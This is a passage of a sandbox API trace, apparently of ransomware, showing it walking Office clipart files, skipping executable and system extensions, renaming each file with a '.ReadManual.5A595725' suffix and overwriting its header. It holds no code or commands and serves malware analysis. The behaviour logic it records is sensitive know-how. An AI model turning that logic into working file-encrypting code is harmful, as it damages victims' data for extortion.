1 [0270.459] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.459] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.459] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" [0270.459] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ReadManual.5A595725" [0270.459] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ReadManual.5A595725") returned 87 [0270.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39112766804) returned 1 [0270.459] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf")) returned 0x20 [0270.459] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.459] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6474) returned 1 [0270.459] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x194a, lpName=0x0) returned 0x184 [0270.459] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.460] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.460] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.467] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.467] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x194a) returned 0x2f0000 [0270.468] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.468] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39113642639) returned 1 [0270.468] CloseHandle (hObject=0x184) returned 1 [0270.468] SetSecurityInfo () returned 0x57 [0270.468] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.468] CloseHandle (hObject=0x194) returned 1 [0270.468] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0270.468] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00396_.WMF" | out: lpString1="NA00396_.WMF") returned="NA00396_.WMF" [0270.468] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.468] StrStrIW (lpFirst="NA00396_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.468] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.468] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.468] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" [0270.469] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ReadManual.5A595725" [0270.469] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ReadManual.5A595725") returned 87 [0270.469] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39113740383) returned 1 [0270.469] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf")) returned 0x20 [0270.469] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.469] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14534) returned 1 [0270.469] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38c6, lpName=0x0) returned 0x184 [0270.469] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.471] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.471] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.473] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.473] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38c6) returned 0x2f0000 [0270.473] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.473] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39114191940) returned 1 [0270.473] CloseHandle (hObject=0x184) returned 1 [0270.473] SetSecurityInfo () returned 0x57 [0270.473] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.473] CloseHandle (hObject=0x194) returned 1 [0270.473] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0270.474] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00417_.WMF" | out: lpString1="NA00417_.WMF") returned="NA00417_.WMF" [0270.474] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.474] StrStrIW (lpFirst="NA00417_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.474] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.474] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.474] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" [0270.474] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ReadManual.5A595725" [0270.474] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ReadManual.5A595725") returned 87 [0270.474] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39114288748) returned 1 [0270.474] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf")) returned 0x20 [0270.474] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.475] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5950) returned 1 [0270.475] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x173e, lpName=0x0) returned 0x184 [0270.475] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.475] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.475] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.477] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.477] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x173e) returned 0x2f0000 [0270.478] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39114645835) returned 1 [0270.478] CloseHandle (hObject=0x184) returned 1 [0270.478] SetSecurityInfo () returned 0x57 [0270.478] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.478] CloseHandle (hObject=0x194) returned 1 [0270.478] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0270.478] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00433_.WMF" | out: lpString1="NA00433_.WMF") returned="NA00433_.WMF" [0270.478] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.478] StrStrIW (lpFirst="NA00433_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.478] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.478] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.479] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.479] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.479] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" [0270.479] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ReadManual.5A595725" [0270.479] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ReadManual.5A595725") returned 87 [0270.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39114745254) returned 1 [0270.479] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf")) returned 0x20 [0270.479] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.479] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18070) returned 1 [0270.479] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4696, lpName=0x0) returned 0x184 [0270.479] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.480] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.482] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.482] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4696) returned 0x2f0000 [0270.482] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.482] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39115126825) returned 1 [0270.483] CloseHandle (hObject=0x184) returned 1 [0270.483] SetSecurityInfo () returned 0x57 [0270.483] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.483] CloseHandle (hObject=0x194) returned 1 [0270.483] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0270.483] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00438_.WMF" | out: lpString1="NA00438_.WMF") returned="NA00438_.WMF" [0270.483] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.483] StrStrIW (lpFirst="NA00438_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.483] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.483] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.483] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" [0270.483] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ReadManual.5A595725" [0270.483] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.ReadManual.5A595725") returned 87 [0270.483] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39115218285) returned 1 [0270.483] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf")) returned 0x20 [0270.484] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.485] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12088) returned 1 [0270.485] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f38, lpName=0x0) returned 0x184 [0270.485] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.485] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.485] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.487] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.487] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f38) returned 0x2f0000 [0270.488] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.488] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39115647434) returned 1 [0270.488] CloseHandle (hObject=0x184) returned 1 [0270.488] SetSecurityInfo () returned 0x57 [0270.488] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.488] CloseHandle (hObject=0x194) returned 1 [0270.488] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0270.488] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00452_.WMF" | out: lpString1="NA00452_.WMF") returned="NA00452_.WMF" [0270.488] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.488] StrStrIW (lpFirst="NA00452_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.488] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.488] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.489] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.489] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" [0270.489] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ReadManual.5A595725" [0270.489] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.ReadManual.5A595725") returned 87 [0270.489] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39115744123) returned 1 [0270.489] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft 